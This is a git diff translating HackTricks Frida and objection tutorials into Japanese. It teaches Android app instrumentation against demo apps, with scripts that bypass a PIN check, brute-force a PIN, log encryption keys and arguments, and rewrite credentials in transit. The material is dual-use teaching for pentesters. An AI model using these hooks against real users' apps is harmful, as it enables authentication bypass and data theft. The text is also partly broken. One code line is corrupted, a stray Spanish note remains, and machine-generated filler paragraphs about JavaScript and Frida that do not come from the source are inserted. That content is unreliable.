frida -U --no-pause -l hookN.js -f infosecadventures.fridademo ``` +## フック1 - ブールバイパス -## Hook 1 - Boolean Bypass - -Here you can see how to **hook** a **boolean** method (_checkPin_) from the class: _infosecadventures.fridademo.utils.PinUtil_ - +ここでは、クラス「infosecadventures.fridademo.utils.PinUtil」の「checkPin」というブールメソッドを**フック**する方法を示します。 ```javascript //hook1.js Java.perform(function() { - console.log("[ * ] Starting implementation override...") - var MainActivity = Java.use("infosecadventures.fridademo.utils.PinUtil"); - MainActivity.checkPin.implementation = function(pin){ - console.log("[ + ] PIN check successfully bypassed!") - return true; - } +console.log("[ * ] Starting implementation override...") +var MainActivity = Java.use("infosecadventures.fridademo.utils.PinUtil"); +MainActivity.checkPin.implementation = function(pin){ +console.log("[ + ] PIN check successfully bypassed!") +return true; +} }); ``` ``` python hooking.py hook1.js ``` +見てみましょう:この関数は文字列をパラメータとして受け取りますが、オーバーロードは必要ありませんか? -Mirar: La funcion recibe como parametro un String, no hace falta overload? +## フック2 - 関数のブルートフォース -## Hook 2 - Function Bruteforce - -### Non-Static Function - -If you want to call a non-static function of a class, you **first need a instance** of that class. Then, you can use that instance to call the function.\ -To do so, you could **find and existing instance** and use it: +### 非静的関数 +クラスの非静的関数を呼び出す場合、まずそのクラスのインスタンスが必要です。その後、そのインスタンスを使用して関数を呼び出すことができます。\ +そのためには、**既存のインスタンスを見つけて使用**することができます: ```javascript Java.perform(function() { - console.log("[ * ] Starting PIN Brute-force, please wait..."); - Java.choose("infosecadventures.fridademo.utils.PinUtil", { - onMatch: function(instance) { - console.log("[ * ] Instance found in memory: " + instance); - for(var i = 1000; i < 9999; i++){ - if(instance.checkPin(i + "") == true){ - console.log("[ + ] Found correct PIN: " + i); - break; - } - } - }, - onComplete: function() { } - }); +console.log("[ * ] Starting PIN Brute-force, please wait..."); +Java.choose("infosecadventures.fridademo.utils.PinUtil", { +onMatch: function(instance) { +console.log("[ * ] Instance found in memory: " + instance); +for(var i = 1000; i < 9999; i++){ +if(instance.checkPin(i + "") == true){ +console.log("[ + ] Found correct PIN: " + i); +break; +} +} +}, +onComplete: function() { } +}); }); ``` +この場合、インスタンスが存在せず、関数は静的ですので、これは機能しません。 -In this case this is not working as there isn't any instance and the function is Static - -### Static Function - -If the function is static, you could just call it: +### 静的関数 +関数が静的である場合、単に呼び出すことができます。 ```javascript //hook2.js Java.perform(function () { - console.log("[ * ] Starting PIN Brute-force, please wait...") - var PinUtil = Java.use("infosecadventures.fridademo.utils.PinUtil"); - - for(var i=1000; i < 9999; i++) - { - if(PinUtil.checkPin(i+"") == true){ - console.log("[ + ] Found correct PIN: " + i); - } - } +console.log("[ * ] Starting PIN Brute-force, please wait...") +var PinUtil = Java.use("infosecadventures.fridademo.utils.PinUtil"); + +for(var i=1000; i < 9999; i++) +{ +if(PinUtil.checkPin(i+"") == true){ +console.log("[ + ] Found correct PIN: " + i); +} +} }); ``` +## フック3 - 引数と戻り値の取得 -## Hook 3 - Retrieving arguments and return value - -You could hook a function and make it **print** the value of the **passed arguments** and the value of the **return value:** - +関数をフックして、**渡された引数**と**戻り値の値**を**表示**することができます。 ```javascript //hook3.js Java.perform(function() { - console.log("[ * ] Starting implementation override...") - - var EncryptionUtil = Java.use("infosecadventures.fridademo.utils.EncryptionUtil"); - EncryptionUtil.encrypt.implementation = function(key, value){ - console.log("Key: " + key); - console.log("Value: " + value); - var encrypted_ret = this.encrypt(key, value); //Call the original function - console.log("Encrypted value: " + encrypted_ret); - return encrypted_ret; - } +console.log("[ * ] Starting implementation override...") + +var EncryptionUtil = Java.use("infosecadventures.fridademo.utils.EncryptionUtil"); +EncryptionUtil.encrypt.implementation = function(key, value){ +console.log("Key: " + key); +console.log("Value: " + value); +var encrypted_ret = this.encrypt(key, value); //Call the original function +console.log("Encrypted value: " + encrypted_ret); +return encrypted_ret; +} }); ``` +## 重要 -## Important +このチュートリアルでは、メソッドの名前と _.implementation_ を使用してメソッドをフックしました。しかし、もし同じ名前の**複数のメソッド**がある場合は、フックしたいメソッドを**引数のタイプを指定して明示する必要があります**。 -In this tutorial you have hooked methods using the name of the mathod and _.implementation_. But if there were **more than one method** with the same name, you will need to **specify the method** that you want to hook **indicating the type of the arguments**. - -You can see that in [the next tutorial](frida-tutorial-2.md). +次のチュートリアルでそれを見ることができます。
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もし**ハッキングのキャリア**に興味があり、アンハッカブルなものをハックしたい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -157,10 +143,10 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。 diff --git a/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md b/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md index 21ae5e2b0..6978d73bd 100644 --- a/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md +++ b/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md @@ -1,77 +1,74 @@ -# Frida Tutorial 2 +# Fridaチュートリアル2
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-​If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +​もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} -**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ -**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) +**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/)(パート2、3、4)\ +**APKとソースコード**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) -The part 1 is so easy. +パート1はとても簡単です。 -**Some parts of the original code doesn't work and have been modified here.** +**オリジナルのコードの一部は動作しないため、ここで修正されています。** -## Part 2 - -Here you can see an example of how to **hook 2 functions with the same name** but different parameters.\ -Also, you are going to learn how to **call a function with your own parameters**.\ -And finally, there is an example of how to **find an instance of a class and make it call a function**. +## パート2 +ここでは、**同じ名前の2つの関数をフックする**例を見ることができますが、パラメータが異なります。\ +また、**独自のパラメータで関数を呼び出す方法**を学ぶことができます。\ +最後に、クラスのインスタンスを見つけて関数を呼び出す例もあります。 ```javascript //s2.js console.log("Script loaded successfully "); Java.perform(function x() { - console.log("Inside java perform function"); - var my_class = Java.use("com.example.a11x256.frida_test.my_activity"); - //Hook "fun" with parameters (int, int) - my_class.fun.overload("int", "int").implementation = function (x, y) { //hooking the old function - console.log("original call: fun(" + x + ", " + y + ")"); - var ret_value = this.fun(2, 5); - return ret_value; - }; - //Hook "fun" with paramater(String) - var string_class = Java.use("java.lang.String"); - my_class.fun.overload("java.lang.String").implementation = function (x) { //hooking the new function - console.log("*") - //Create a new String and call the function with your input. - var my_string = string_class.$new("My TeSt String#####"); - console.log("Original arg: " + x); - var ret = this.fun(my_string); - console.log("Return value: " + ret); - console.log("*") - return ret; - }; - //Find an instance of the class and call "secret" function. - Java.choose("com.example.a11x256.frida_test.my_activity", { - onMatch: function (instance) { - console.log(tring, and the it has"Found instance: " + instance); - console.log("Result of secret func: " + instance.secret()); - }, - onComplete: function () { } - }); +console.log("Inside java perform function"); +var my_class = Java.use("com.example.a11x256.frida_test.my_activity"); +//Hook "fun" with parameters (int, int) +my_class.fun.overload("int", "int").implementation = function (x, y) { //hooking the old function +console.log("original call: fun(" + x + ", " + y + ")"); +var ret_value = this.fun(2, 5); +return ret_value; +}; +//Hook "fun" with paramater(String) +var string_class = Java.use("java.lang.String"); +my_class.fun.overload("java.lang.String").implementation = function (x) { //hooking the new function +console.log("*") +//Create a new String and call the function with your input. +var my_string = string_class.$new("My TeSt String#####"); +console.log("Original arg: " + x); +var ret = this.fun(my_string); +console.log("Return value: " + ret); +console.log("*") +return ret; +}; +//Find an instance of the class and call "secret" function. +Java.choose("com.example.a11x256.frida_test.my_activity", { +onMatch: function (instance) { +console.log(tring, and the it has"Found instance: " + instance); +console.log("Result of secret func: " + instance.secret()); +}, +onComplete: function () { } +}); }); ``` - -You can see that to create a String first is has referenced the class _java.lang.String_ and then it has created a _$new_ object of that class with a String as content. This is the correct way to create a new object of a class. But, in this case, you could just pass to `this.fun()` any String like: `this.fun("hey there!")` +以下は、Stringを作成するために、まずクラス_java.lang.String_を参照し、そのクラスの_$new_オブジェクトを作成しています。このオブジェクトは、Stringを内容として持っています。これはクラスの新しいオブジェクトを作成する正しい方法です。ただし、この場合、`this.fun()`には任意のStringを渡すことができます。例えば、`this.fun("hey there!")`といった具合です。 ### Python - ```python //loader.py import frida @@ -92,21 +89,19 @@ raw_input() ``` python loader.py ``` - -## Part 3 +## パート3 ### Python -Now you are going to see how to send commands to the hooked app via Python to call function: - +次に、Pythonを使用してフックされたアプリにコマンドを送信し、関数を呼び出す方法を見ていきます。 ```python //loader.py import time import frida def my_message_handler(message, payload): - print message - print payload +print message +print payload device = frida.get_usb_device() @@ -115,90 +110,86 @@ device.resume(pid) time.sleep(1) # Without it Java.perform silently fails session = device.attach(pid) with open("s3.js") as f: - script = session.create_script(f.read()) +script = session.create_script(f.read()) script.on("message", my_message_handler) script.load() command = "" while 1 == 1: - command = raw_input("Enter command:\n1: Exit\n2: Call secret function\n3: Hook Secret\nchoice:") - if command == "1": - break - elif command == "2": - script.exports.callsecretfunction() - elif command == "3": - script.exports.hooksecretfunction() +command = raw_input("Enter command:\n1: Exit\n2: Call secret function\n3: Hook Secret\nchoice:") +if command == "1": +break +elif command == "2": +script.exports.callsecretfunction() +elif command == "3": +script.exports.hooksecretfunction() ``` +コマンド "**1**" は **終了** します。コマンド "**2**" はクラスのインスタンスを見つけて、**private関数** _**secret()**_ を呼び出します。コマンド "**3**" は関数 _**secret()**_ を**フック**して、**異なる文字列**を**返します**。 -The command "**1**" will **exit**, the command "**2**" will find and **instance of the class and call the private function** _**secret()**_ and command "**3**" will **hook** the function _**secret()**_ so it **return** a **different string**. - -The, if you call "**2**" you will get the **real secret**, but if you call "**3**" and then "**2**" you will get the **fake secret**. +したがって、コマンド "**2**" を呼び出すと、**本当の秘密**が表示されますが、コマンド "**3**" を呼び出してから "**2**" を呼び出すと、**偽の秘密**が表示されます。 ### JS - ```javascript console.log("Script loaded successfully "); var instances_array = []; function callSecretFun() { - Java.perform(function () { - if (instances_array.length == 0) { // if array is empty - Java.choose("com.example.a11x256.frida_test.my_activity", { - onMatch: function (instance) { - console.log("Found instance: " + instance); - instances_array.push(instance) - console.log("Result of secret func: " + instance.secret()); - }, - onComplete: function () { } +Java.perform(function () { +if (instances_array.length == 0) { // if array is empty +Java.choose("com.example.a11x256.frida_test.my_activity", { +onMatch: function (instance) { +console.log("Found instance: " + instance); +instances_array.push(instance) +console.log("Result of secret func: " + instance.secret()); +}, +onComplete: function () { } - }); - } - else {//else if the array has some values - console.log("Result of secret func: " + instances_array[0].secret()); - } +}); +} +else {//else if the array has some values +console.log("Result of secret func: " + instances_array[0].secret()); +} - }); +}); } function hookSecret() { - Java.perform(function () { - var my_class = Java.use("com.example.a11x256.frida_test.my_activity"); - var string_class = Java.use("java.lang.String"); - my_class.secret.overload().implementation = function(){ - var my_string = string_class.$new("TE ENGANNNNEEE"); - return my_string; - } - }); +Java.perform(function () { +var my_class = Java.use("com.example.a11x256.frida_test.my_activity"); +var string_class = Java.use("java.lang.String"); +my_class.secret.overload().implementation = function(){ +var my_string = string_class.$new("TE ENGANNNNEEE"); +return my_string; +} +}); } rpc.exports = { - callsecretfunction: callSecretFun, - hooksecretfunction: hookSecret +callsecretfunction: callSecretFun, +hooksecretfunction: hookSecret }; ``` +## パート4 -## Part 4 - -Here you will see how to make **Python and JS interact** using JSONs objects. JS use the `send()` function to send data to the python cliente, and Python uses `post()` functions to send data to ths JS script. The **JS will block the execution** until is receives s response from Python. +ここでは、JSONオブジェクトを使用して**PythonとJSが相互作用する方法**を見ていきます。JSは`send()`関数を使用してデータをPythonクライアントに送信し、Pythonは`post()`関数を使用してデータをJSスクリプトに送信します。**JSはPythonからの応答を受け取るまで実行をブロック**します。 ### Python - ```python //loader.py import time import frida def my_message_handler(message, payload): - print message - print payload - if message["type"] == "send": - print message["payload"] - data = message["payload"].split(":")[1].strip() - print 'message:', message - data = data.decode("base64") - user, pw = data.split(":") - data = ("admin" + ":" + pw).encode("base64") - print "encoded data:", data - script.post({"my_data": data}) # send JSON object - print "Modified data sent" +print message +print payload +if message["type"] == "send": +print message["payload"] +data = message["payload"].split(":")[1].strip() +print 'message:', message +data = data.decode("base64") +user, pw = data.split(":") +data = ("admin" + ":" + pw).encode("base64") +print "encoded data:", data +script.post({"my_data": data}) # send JSON object +print "Modified data sent" device = frida.get_usb_device() @@ -207,38 +198,47 @@ device.resume(pid) time.sleep(1) session = device.attach(pid) with open("s4.js") as f: - script = session.create_script(f.read()) +script = session.create_script(f.read()) script.on("message", my_message_handler) # register the message handler script.load() raw_input() ``` - ### JS +JavaScript(JS)は、Webページの動的な機能を作成するために使用されるプログラミング言語です。フロントエンド開発やWebアプリケーションの作成に広く使用されています。JSはクライアントサイドで実行され、HTMLやCSSと組み合わせて使用されます。また、Node.jsというサーバーサイドの実行環境でも使用することができます。 + +JSは非常に柔軟であり、動的なWebページの作成やユーザーとの対話を可能にします。さまざまなタスクを実行するための多くの組み込み関数やメソッドがあります。また、外部のライブラリやフレームワークを使用することもできます。 + +JSはユーザーのブラウザ上で実行されるため、セキュリティ上の懸念があります。悪意のあるコードが実行されると、ユーザーのデータやプライバシーが危険にさらされる可能性があります。そのため、セキュリティの観点からJSの脆弱性を理解し、適切な対策を講じることが重要です。 + +Fridaは、モバイルアプリのセキュリティテストや解析に使用されるツールです。Fridaを使用すると、実行中のアプリケーションの動作を監視し、変更することができます。これにより、アプリケーションの内部の動作を理解し、セキュリティ上の問題を特定することができます。 + +FridaはJavaScriptを使用してスクリプトを作成し、実行することができます。これにより、アプリケーションの動作をカスタマイズし、特定の機能を追加することができます。また、Fridaを使用してアプリケーションの通信を傍受し、データの盗聴や改ざんを行うことも可能です。 + +Fridaは、モバイルアプリのペネトレーションテストやセキュリティ解析において非常に強力なツールです。しかし、悪意のある目的で使用される可能性もあるため、適切な許可なしに使用することは違法です。常に法律と倫理に従い、正当な目的でFridaを使用するようにしてください。 ```javascript console.log("Script loaded successfully "); Java.perform(function () { - var tv_class = Java.use("android.widget.TextView"); - tv_class.setText.overload('java.lang.CharSequence').implementation = function (x) { - var string_to_send = x.toString(); - var string_to_recv = ""; - send(string_to_send); // send data to python code - recv(function (received_json_object) { - string_to_recv = received_json_object.my_data; - }).wait(); //block execution till the message is received - console.log("Final string_to_recv: "+ string_to_recv) - return this.setText(string_to_recv); - } +var tv_class = Java.use("android.widget.TextView"); +tv_class.setText.overload('java.lang.CharSequence').implementation = function (x) { +var string_to_send = x.toString(); +var string_to_recv = ""; +send(string_to_send); // send data to python code +recv(function (received_json_object) { +string_to_recv = received_json_object.my_data; +}).wait(); //block execution till the message is received +console.log("Final string_to_recv: "+ string_to_recv) +return this.setText(string_to_recv); +} }); ``` - -There is a part 5 that I am not going to explain because there isn't anything new. But if you want to read it is here: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) +5 章は新しい内容がないため、説明はしません。しかし、読みたい場合はこちらから読むことができます: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もし **ハッキングのキャリア** に興味があり、アンハッカブルなものをハックしたい場合 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_). {% embed url="https://www.stmcyber.com/careers" %} @@ -246,10 +246,10 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**最新バージョンの PEASS を入手したり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションです。 +* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください。** +* **ハッキングのトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください。 diff --git a/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md b/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md index 5971fe0b8..f90123fbc 100644 --- a/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md +++ b/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md @@ -1,300 +1,490 @@ -# Objection Tutorial +# Objectionチュートリアル
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**:ハッカーによって作成されたプレミアムの**バグバウンティプラットフォームであるIntigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} -## **Introduction** +## **はじめに** [![objection](https://github.com/sensepost/objection/raw/master/images/objection.png)](https://github.com/sensepost/objection) -**objection - Runtime Mobile Exploration** +**objection - ランタイムモバイルエクスプロレーション** -`objection` is a runtime mobile exploration toolkit, powered by [Frida](https://www.frida.re). It was built with the aim of helping assess mobile applications and their security posture without the need for a jailbroken or rooted mobile device. +`objection`は、[Frida](https://www.frida.re)を搭載したランタイムモバイルエクスプロレーションツールキットです。このツールは、脱獄またはルート化されたモバイルデバイスの必要性なしに、モバイルアプリケーションとそのセキュリティポストを評価するのに役立つことを目的として構築されました。 -**Note:** This is not some form of jailbreak / root bypass. By using `objection`, you are still limited by all of the restrictions imposed by the applicable sandbox you are facing. +**注意:**これはある種の脱獄/ルートバイパスではありません。`objection`を使用することで、対象となるサンドボックスによって課されるすべての制限に制約されます。 -### Resume +### 再開 -The **goal** of **objection** is let the user call the **main actions that offers Frida**. **Otherwise**, the user will need to create a **single script for every application** that he wants to test. +**objection**の目標は、ユーザーが**Fridaが提供する主なアクションを呼び出すこと**です。**そうでない場合**、テストしたい**各アプリケーションごとに単一のスクリプトを作成する必要があります**。 -## Tutorial +## チュートリアル -For this tutorial I am going to use the APK that you can download here: +このチュートリアルでは、ここからダウンロードできるAPKを使用します: {% file src="../../../.gitbook/assets/app-release.zip" %} -Or from its [original repository ](https://github.com/asvid/FridaApp)(download app-release.apk) - -### Installation +または、[元のリポジトリ](https://github.com/asvid/FridaApp)からダウンロードしてください(app-release.apkをダウンロード)。 +### インストール ``` pip3 install objection ``` +### 接続 -### Connection - -Make a **regular ADB conection** and **start** the **frida** server in the device (and check that frida is working in both the client and the server). - -If you are using a **rooted device** it is needed to select the application that you want to test inside the _**--gadget**_ option. in this case: +通常のADB接続を作成し、デバイスでfridaサーバーを起動します(クライアントとサーバーの両方でfridaが動作していることを確認します)。 +ルート化されたデバイスを使用している場合、テストしたいアプリケーションを`--gadget`オプションで選択する必要があります。この場合は以下のようになります: ``` objection --gadget asvid.github.io.fridaapp explore ``` +### 基本的なアクション -### Basic Actions +このチュートリアルでは、objectionの可能なすべてのコマンドをリストアップするわけではありません。代わりに、私がより有用と考えるコマンドのみを紹介します。 -Not all possible commands of objections are going to be listed in this tutorial, only the ones that I have found more useful. - -#### Environment - -Some interesting information (like passwords or paths) could be find inside the environment. +#### 環境 +環境内には、パスワードやパスなどの興味深い情報が含まれている場合があります。 ``` env ``` - ![](<../../../.gitbook/assets/image (64).png>) -#### Frida Information +#### Fridaの情報 +Frida is a dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. It allows you to inject JavaScript code into native apps on Windows, macOS, Linux, iOS, and Android. With Frida, you can dynamically modify the behavior of an app, intercept function calls, and access sensitive data. + +Fridaは、開発者、リバースエンジニア、セキュリティ研究者向けのダイナミックインストルメンテーションツールキットです。Windows、macOS、Linux、iOS、Android上のネイティブアプリにJavaScriptコードを注入することができます。Fridaを使用すると、アプリの動作を動的に変更したり、関数呼び出しを傍受したり、機密データにアクセスしたりすることができます。 + +#### Objection Information + +Objection is a runtime mobile exploration toolkit powered by Frida. It allows you to perform various tasks on Android and iOS apps, such as bypassing SSL pinning, manipulating runtime behavior, and exploring the app's internal structure. Objection provides an interactive shell that allows you to interact with the app's runtime environment and perform actions like listing loaded classes, invoking methods, and inspecting objects. + +Objectionは、Fridaによってパワードされたランタイムモバイルエクスプロレーションツールキットです。SSLピニングのバイパス、ランタイムの動作の操作、アプリの内部構造の調査など、AndroidとiOSアプリでさまざまなタスクを実行することができます。Objectionは、対話型シェルを提供し、アプリのランタイム環境と対話し、ロードされたクラスのリスト表示、メソッドの呼び出し、オブジェクトの検査などのアクションを実行することができます。 + +#### Objection Installation + +To install Objection, you need to have Frida installed on your machine. Once you have Frida installed, you can install Objection using pip: + +```plaintext +pip install objection +``` + +Objectionのインストール + +Objectionをインストールするには、マシンにFridaがインストールされている必要があります。Fridaがインストールされている場合は、pipを使用してObjectionをインストールできます。 + +```plaintext +pip install objection +``` + +#### Objection Usage + +To use Objection, you first need to start the Frida server on the target device. You can do this by running the following command: + +```plaintext 